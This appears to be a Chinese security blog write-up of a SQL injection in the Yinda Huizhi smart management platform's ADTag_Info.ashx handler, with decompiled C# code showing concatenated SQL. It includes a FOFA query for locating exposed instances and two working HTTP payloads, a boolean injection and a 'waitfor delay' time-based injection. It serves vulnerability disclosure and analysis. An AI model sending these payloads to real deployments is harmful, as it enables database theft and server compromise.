银达汇智智慧综合管理平台 ADTag_Info.ashx SQL注入漏洞


漏洞简介

福建银达汇智信息科技股份有限公司成立于2009年,位于福建省福州市,是一家以从事软件和信息技术服务业为主的企业。银达汇智智慧综合管理平台 ADTag_Info.ashx 存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码,站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

影响版本

fofa语法

title="智慧综合管理平台登入"

漏洞分析

先看 ADTag_Info.ashx 页面引用的dll

<%@ WebHandler Language="C#" CodeBehind="ADTag_Info.ashx.cs" Class="KR.Administrator.Module.Controller.ADTag_Info"  %>

其中 Module/AD/AD_Tag/Controller/ADTag_Info.ashx 和 Module/BPCJ/AD_Tag/Controller/ADTag_Info.ashx 代码一致,分析其中之一即可。

再看 KR.Administrator.Module.Controller.ADTag_Info 的业务逻辑实现

namespace KR.Administrator.Module.Controller;

public class ADTag_Info : IHttpHandler, IRequiresSessionState
{
  private ADInfoDao bll = new ADInfoDao();

  public void ProcessRequest(HttpContext context)
  {
    context.Response.ContentType = "text/plain";
    string str1 = WRequest.GetString("action");
    try
    {
      if (string.op_Equality(str1, "find"))
      {
        int recordcount = 0;
        string strWhere = " 1=1 ";
        if (!string.IsNullOrEmpty(WRequest.GetString("Ad_Id")))
          strWhere += $" and ADTypePreID = '{WRequest.GetString("Ad_Id")}'";
        DataTable dataTableList = this.bll.GetDataTableList(WRequest.GetInt("pagesize") == 0 ? 20 : WRequest.GetInt("pagesize"), WRequest.GetInt("pageIndex") == 0 ? 1 : WRequest.GetInt("pageIndex") + 1, "*", $" {(string.IsNullOrEmpty(WRequest.GetString("SortField")) ? (object) "id" : (object) WRequest.GetString("SortField"))} {(string.IsNullOrEmpty(WRequest.GetString("SortOrder")) ? (object) "desc" : (object) WRequest.GetString("SortOrder"))}", strWhere, out recordcount);
        DataGridModel dataGridModel = new DataGridModel()
        {
          total = recordcount,
          data = dataTableList
        };
        context.Response.Write(JsonConvert.SerializeObject((object) dataGridModel));
        KR.Controls.Log.LogHelper.SysInfo(":查看!", new Exception(context.Request.Form.ToString()));
      }
      else if (string.op_Equality(str1, "save"))
        this.save(context);
      else if (string.op_Equality(str1, "look") || string.op_Equality(str1, "update"))
      {
        Windor.JR.Model.ADInfo adInfo = this.bll.GetItem((long) WRequest.GetInt("id"));
        context.Response.Write(JsonConvert.SerializeObject((object) adInfo));
      }
      else if (string.op_Equality(str1, "selectedDel"))
      {
        if (SystemHelper.checkPermission("ADInfo_btnDel"))
        {
          string str2 = WRequest.GetString("ids");
          if (!string.IsNullOrEmpty(str2))
          {
            IList<Windor.JR.Model.ADInfo> list = (IList<Windor.JR.Model.ADInfo>) this.bll.GetList($"id in ({str2}) ");
            KR.Controls.Log.LogHelper.SysInfo(":删除!", new Exception(JsonConvert.SerializeObject((object) list)));
            StringBuilder stringBuilder = new StringBuilder();
            foreach (Windor.JR.Model.ADInfo adInfo in (IEnumerable<Windor.JR.Model.ADInfo>) list)
            {
              stringBuilder.Append(adInfo.id);
              stringBuilder.Append(",");
            }
            this.bll.Delete((ICondition) new Condition("id", FieldType.Int32, (object) stringBuilder.ToString().Trim(new char[1]
            {
              ','
            }), Comparison.In));
            context.Response.Write(SystemHelper.WriteResult("success", "删除成功!"));
          }
          else
            context.Response.Write(SystemHelper.WriteResult("error", "请选择要删除项!"));
        }
        else
          context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
      }
      else if (string.op_Equality(str1, "conditionDel"))
      {
        if (SystemHelper.checkPermission("ADInfo_btnDel"))
        {
          string strWhere = " 1=1 ";
          if (!string.IsNullOrEmpty(WRequest.GetString("ADId")))
            strWhere += $" and ADId like '%{WRequest.GetString("ADId")}%'";
          if (!string.IsNullOrEmpty(WRequest.GetString("StartDateBegin")))
            strWhere += $" and StartDate >= '{WRequest.GetString("StartDateBegin")}'";
          if (!string.IsNullOrEmpty(WRequest.GetString("StartDateEnd")))
            strWhere += $" and StartDate < '{WRequest.GetString("StartDateEnd")}'";
          if (!string.IsNullOrEmpty(WRequest.GetString("EndDateBegin")))
            strWhere += $" and EndDate >= '{WRequest.GetString("EndDateBegin")}'";
          if (!string.IsNullOrEmpty(WRequest.GetString("EndDateEnd")))
            strWhere += $" and EndDate < '{WRequest.GetString("EndDateEnd")}'";
          if (!string.IsNullOrEmpty(WRequest.GetString("Caption")))
            strWhere += $" and Caption like '%{WRequest.GetString("Caption")}%'";
          if (!string.IsNullOrEmpty(WRequest.GetString("ADTypeBegin")))
            strWhere += $" and ADType >= {WRequest.GetString("ADTypeBegin")}";
          if (!string.IsNullOrEmpty(WRequest.GetString("ADTypeEnd")))
            strWhere += $" and ADType < {WRequest.GetString("ADTypeEnd")}";
          if (!string.IsNullOrEmpty(WRequest.GetString("ContentTypeBegin")))
            strWhere += $" and ContentType >= {WRequest.GetString("ContentTypeBegin")}";
          if (!string.IsNullOrEmpty(WRequest.GetString("ContentTypeEnd")))
            strWhere += $" and ContentType < {WRequest.GetString("ContentTypeEnd")}";
          if (!string.IsNullOrEmpty(WRequest.GetString("Content")))
            strWhere += $" and Content like '%{WRequest.GetString("Content")}%'";
          if (!string.IsNullOrEmpty(WRequest.GetString("OrgId")))
            strWhere += $" and OrgId like '%{WRequest.GetString("OrgId")}%'";
          if (!string.IsNullOrEmpty(WRequest.GetString("ADTypePreID")))
            strWhere += $" and ADTypePreID like '%{WRequest.GetString("ADTypePreID")}%'";
          if (!string.IsNullOrEmpty(WRequest.GetString("org_idBegin")))
            strWhere += $" and org_id >= {WRequest.GetString("org_idBegin")}";
          if (!string.IsNullOrEmpty(WRequest.GetString("org_idEnd")))
            strWhere += $" and org_id < {WRequest.GetString("org_idEnd")}";
          IList<Windor.JR.Model.ADInfo> list = (IList<Windor.JR.Model.ADInfo>) this.bll.GetList(strWhere);
          KR.Controls.Log.LogHelper.SysInfo(":删除!", new Exception(JsonConvert.SerializeObject((object) list)));
          StringBuilder stringBuilder = new StringBuilder();
          foreach (Windor.JR.Model.ADInfo adInfo in (IEnumerable<Windor.JR.Model.ADInfo>) list)
          {
            stringBuilder.Append(adInfo.id);
            stringBuilder.Append(",");
          }
          if (stringBuilder.Length > 0)
          {
            this.bll.Delete((ICondition) new Condition("id", FieldType.Int32, (object) stringBuilder.ToString().Trim(new char[1]
            {
              ','
            }), Comparison.In));
            context.Response.Write(SystemHelper.WriteResult("success", "删除成功!"));
          }
          else
            context.Response.Write(SystemHelper.WriteResult("error", "未找到符合条件的数据!"));
        }
        else
          context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
      }
      else if (string.op_Equality(str1, "exportExcel"))
        this.exportExcel(context);
      else if (string.op_Equality(str1, "findAD_Type"))
      {
        DataTable adType = this.bll.getAD_Type();
        context.Response.Write(JsonConvert.SerializeObject((object) adType));
      }
      else if (string.op_Equality(str1, "findCheckData"))
      {
        string empty = string.Empty;
        DataTable dataTable = new DataTable();
        if (!string.IsNullOrEmpty(WRequest.GetString("TagId")))
          dataTable = this.bll.getInfoCheckData(WRequest.GetString("TagId"));
        context.Response.Write(JsonConvert.SerializeObject((object) dataTable));
      }
      else
        context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
    }
    catch (Exception ex)
    {
      KR.Controls.Log.LogHelper.SysError($":操作异常!action:{str1};Form:{context.Request.Form.ToString()}", ex);
      context.Response.Write(SystemHelper.WriteResult("error", ex.Message.Replace("\"", "'")));
    }
  }

  private void save(HttpContext context)
  {
    Windor.JR.Model.ADInfo model = new Windor.JR.Model.ADInfo();
    model.id = WRequest.GetInt("id");
    if (model.id != 0)
    {
      model = this.bll.GetItem((long) model.id);
      if (model == null)
      {
        context.Response.Write(SystemHelper.WriteResult("error", "数据保存失败!指定的记录不存在或已经被其他用户删除!"));
        return;
      }
    }
    model.ADId = string.IsNullOrEmpty(WRequest.GetString("ADId").Trim()) ? Guid.NewGuid() : new Guid(WRequest.GetString("ADId").Trim());
    model.StartDate = string.IsNullOrEmpty(WRequest.GetString("StartDate")) ? new DateTime?() : WRequest.GetString("StartDate").ToDateTime();
    model.EndDate = string.IsNullOrEmpty(WRequest.GetString("EndDate")) ? new DateTime?() : WRequest.GetString("EndDate").ToDateTime();
    model.Caption = WRequest.GetString("Caption").Trim();
    model.ADType = WRequest.GetInt("ADType");
    model.ContentType = WRequest.GetInt("ContentType");
    model.Content = WRequest.GetString("Content").Trim();
    model.OrgId = WRequest.GetString("OrgId").Trim();
    if (!string.IsNullOrEmpty(WRequest.GetString("ADTypePreID").Trim()))
      model.ADTypePreID = new Guid(WRequest.GetString("ADTypePreID").Trim());
    model.org_id = WRequest.GetInt("org_id");
    bool flag1;
    bool flag2;
    if (model.id != 0)
    {
      if (SystemHelper.checkPermission("ADInfo_btnUpdate"))
      {
        flag1 = this.bll.Update(model);
        KR.Controls.Log.LogHelper.SysInfo(string.Format(":修改!", new object[0]), new Exception(JsonConvert.SerializeObject((object) model)));
        flag2 = true;
      }
      else
      {
        context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
        return;
      }
    }
    else if (SystemHelper.checkPermission("ADInfo_btnAdd"))
    {
      flag1 = this.bll.Add(model) > 0L;
      KR.Controls.Log.LogHelper.SysInfo(string.Format(":新增!", new object[0]), new Exception(JsonConvert.SerializeObject((object) model)));
      flag2 = false;
    }
    else
    {
      context.Response.Write(SystemHelper.WriteResult("error", "您无权限或者访问异常!请联系管理人员。"));
      return;
    }
    if (flag1)
    {
      if (flag2)
        context.Response.Write(SystemHelper.WriteResult("success", "修改成功!", "update"));
      else
        context.Response.Write(SystemHelper.WriteResult("success", "新增成功!", "add"));
    }
    else
      context.Response.Write(SystemHelper.WriteResult("error", "数据保存失败!操作过程中出现异常!"));
  }

  private void exportExcel(HttpContext context)
  {
    string condition = " 1=1 ";
    if (!string.IsNullOrEmpty(WRequest.GetString("sADId")))
      condition += $" and ADId like '%{WRequest.GetString("sADId")}%'";
    if (!string.IsNullOrEmpty(WRequest.GetString("sStartDateBegin")))
      condition += $" and StartDate >= '{WRequest.GetString("sStartDateBegin")}'";
    if (!string.IsNullOrEmpty(WRequest.GetString("sStartDateEnd")))
      condition += $" and StartDate < '{WRequest.GetString("sStartDateEnd")}'";
    if (!string.IsNullOrEmpty(WRequest.GetString("sEndDateBegin")))
      condition += $" and EndDate >= '{WRequest.GetString("sEndDateBegin")}'";
    if (!string.IsNullOrEmpty(WRequest.GetString("sEndDateEnd")))
      condition += $" and EndDate < '{WRequest.GetString("sEndDateEnd")}'";
    if (!string.IsNullOrEmpty(WRequest.GetString("sCaption")))
      condition += $" and Caption like '%{WRequest.GetString("sCaption")}%'";
    if (!string.IsNullOrEmpty(WRequest.GetString("sADTypeBegin")))
      condition += $" and ADType >= {WRequest.GetString("sADTypeBegin")}";
    if (!string.IsNullOrEmpty(WRequest.GetString("sADTypeEnd")))
      condition += $" and ADType < {WRequest.GetString("sADTypeEnd")}";
    if (!string.IsNullOrEmpty(WRequest.GetString("sContentTypeBegin")))
      condition += $" and ContentType >= {WRequest.GetString("sContentTypeBegin")}";
    if (!string.IsNullOrEmpty(WRequest.GetString("sContentTypeEnd")))
      condition += $" and ContentType < {WRequest.GetString("sContentTypeEnd")}";
    if (!string.IsNullOrEmpty(WRequest.GetString("sContent")))
      condition += $" and Content like '%{WRequest.GetString("sContent")}%'";
    if (!string.IsNullOrEmpty(WRequest.GetString("sOrgId")))
      condition += $" and OrgId like '%{WRequest.GetString("sOrgId")}%'";
    if (!string.IsNullOrEmpty(WRequest.GetString("sADTypePreID")))
      condition += $" and ADTypePreID like '%{WRequest.GetString("sADTypePreID")}%'";
    if (!string.IsNullOrEmpty(WRequest.GetString("sorg_idBegin")))
      condition += $" and org_id >= {WRequest.GetString("sorg_idBegin")}";
    if (!string.IsNullOrEmpty(WRequest.GetString("sorg_idEnd")))
      condition += $" and org_id < {WRequest.GetString("sorg_idEnd")}";
    DataTable dataTabelToExcel = this.bll.GetDataTabelToExcel(KR.Controls.RunTime.Global.webSiteConfig.ExportCount, condition);
    if (((InternalDataCollectionBase) dataTabelToExcel.Rows).Count <= 0)
      return;
    SystemHelper.CreateExcel(dataTabelToExcel, "application/x-excel", DateTime.Now.ToString("yyyyMMddHHmmssfff"), context, "导出Excel表");
  }

  public bool IsReusable => false;
}

在ADTag_Info类的ProcessRequest方法中,多个操作(如find、conditionDel、selectedDel、exportExcel、findCheckData)直接使用用户可控参数拼接SQL语句,未进行有效的过滤或参数化处理,导致攻击者可构造恶意输入执行任意SQL命令。

其中 selectedDel、conditionDel 以及 save 均需要权限验证,暂不考虑。重点看其他几个处理逻辑。

findCheckData 里将获取的 TagId 直接带入 getInfoCheckData 方法,看下其实现如下

public DataTable getInfoCheckData(string TagId)
  {
    string sql = $"select ai.* from AD_Tag at \r\n                        inner join dbo.AD_Info_Tag_Mod ait on CONVERT(varchar(100),at.TagId) = ait.TagID\r\n                        inner join AD_Info ai on ai.ADId = ait.AD_Info_ID\r\n                        where at.TagId = '{TagId}'";
    return DbHelperFactory.GetDbHelper().Query(sql).Tables[0];
  }

在getInfoCheckData方法中,直接使用用户输入的TagId参数拼接SQL语句,未进行任何过滤或参数化处理,导致攻击者可通过构造恶意输入执行任意SQL命令。但是 find 的this.bll.GetDataTableList 构造使用储存过程执行sql,存不存在sql注入取决于储存过程 UP_GetRecordByPage 的写法。

public override DataTable GetDataTableList(
  string tableOrView,
  int PageSize,
  int PageIndex,
  string fieldName,
  string orderFields,
  string strWhere,
  out int recordcount)
{
  if ((object) this.Model == null)
    throw new InvalidOperationException("无效的 Model 属性,在调用本函数前请先设置 Model 属性。");
  SqlParameter[] sqlParameterArray1 = new SqlParameter[6]
  {
    new SqlParameter("@tblName", (SqlDbType) 22, -1),
    new SqlParameter("@fieldName", (SqlDbType) 22, -1),
    new SqlParameter("@OrderField", (SqlDbType) 22, -1),
    new SqlParameter("@PageSize", (SqlDbType) 8),
    new SqlParameter("@PageIndex", (SqlDbType) 8),
    new SqlParameter("@strWhere", (SqlDbType) 22, -1)
  };
  int num1 = 0;
  SqlParameter[] sqlParameterArray2 = sqlParameterArray1;
  int index1 = num1;
  int num2 = index1 + 1;
  ((DbParameter) sqlParameterArray2[index1]).Value = (object) tableOrView;
  SqlParameter[] sqlParameterArray3 = sqlParameterArray1;
  int index2 = num2;
  int num3 = index2 + 1;
  ((DbParameter) sqlParameterArray3[index2]).Value = !string.IsNullOrEmpty(fieldName) ? (object) fieldName : (object) " * ";
  SqlParameter[] sqlParameterArray4 = sqlParameterArray1;
  int index3 = num3;
  int num4 = index3 + 1;
  ((DbParameter) sqlParameterArray4[index3]).Value = !string.IsNullOrEmpty(orderFields) ? (object) orderFields : (object) this.Model.GetPrimaryFields();
  SqlParameter[] sqlParameterArray5 = sqlParameterArray1;
  int index4 = num4;
  int num5 = index4 + 1;
  ((DbParameter) sqlParameterArray5[index4]).Value = (object) PageSize;
  SqlParameter[] sqlParameterArray6 = sqlParameterArray1;
  int index5 = num5;
  int num6 = index5 + 1;
  ((DbParameter) sqlParameterArray6[index5]).Value = (object) PageIndex;
  SqlParameter[] sqlParameterArray7 = sqlParameterArray1;
  int index6 = num6;
  int num7 = index6 + 1;
  ((DbParameter) sqlParameterArray7[index6]).Value = !string.IsNullOrEmpty(strWhere) ? (object) strWhere : (object) "";
  DataSet dataSet = this.CurrentHelper.ExecuteProcedure("UP_GetRecordByPage", "ds", (IDataParameter[]) sqlParameterArray1);
  recordcount = 0;
  if (((InternalDataCollectionBase) dataSet.Tables).Count > 0)
    recordcount = Convert.ToInt32(dataSet.Tables[1].Rows[0][0].ToString());
  return dataSet.Tables[0];
}

如果是如下写法

DECLARE @sql NVARCHAR(MAX)
SET @sql = 'SELECT ... FROM ' + @tblName + ' WHERE 1=1 ' + @strWhere + ' ORDER BY ...'
EXEC(@sql)

那么传入的 @strWhere 里的内容不会再参数化,而是直接拼在SQL字符串中执行,则会造成SQL注入漏洞。

整体执行流程如下图所示:

漏洞复现

action=findCheckData

POST /Module/BPCJ/AD_Tag/Controller/ADTag_Info.ashx HTTP/1.1
Host: windor.mrxn.net
Content-Type: application/x-www-form-urlencoded

action=findCheckData&TagId='or '1'='1

布尔注入,结果出现差异

action=exportExcel

POST /Module/BPCJ/AD_Tag/Controller/ADTag_Info.ashx HTTP/1.1
Host: windor.mrxn.net
Content-Type: application/x-www-form-urlencoded

action=exportExcel&sADId='waitfor+delay'0:0:4'--

成功延时 4 秒


手机扫码阅读

万户ezOFFICE govdocumentmanager_judge_receivenum.jsp SQL注入漏洞

JeeWMS AuthInterceptor 权限绕过漏洞

评 论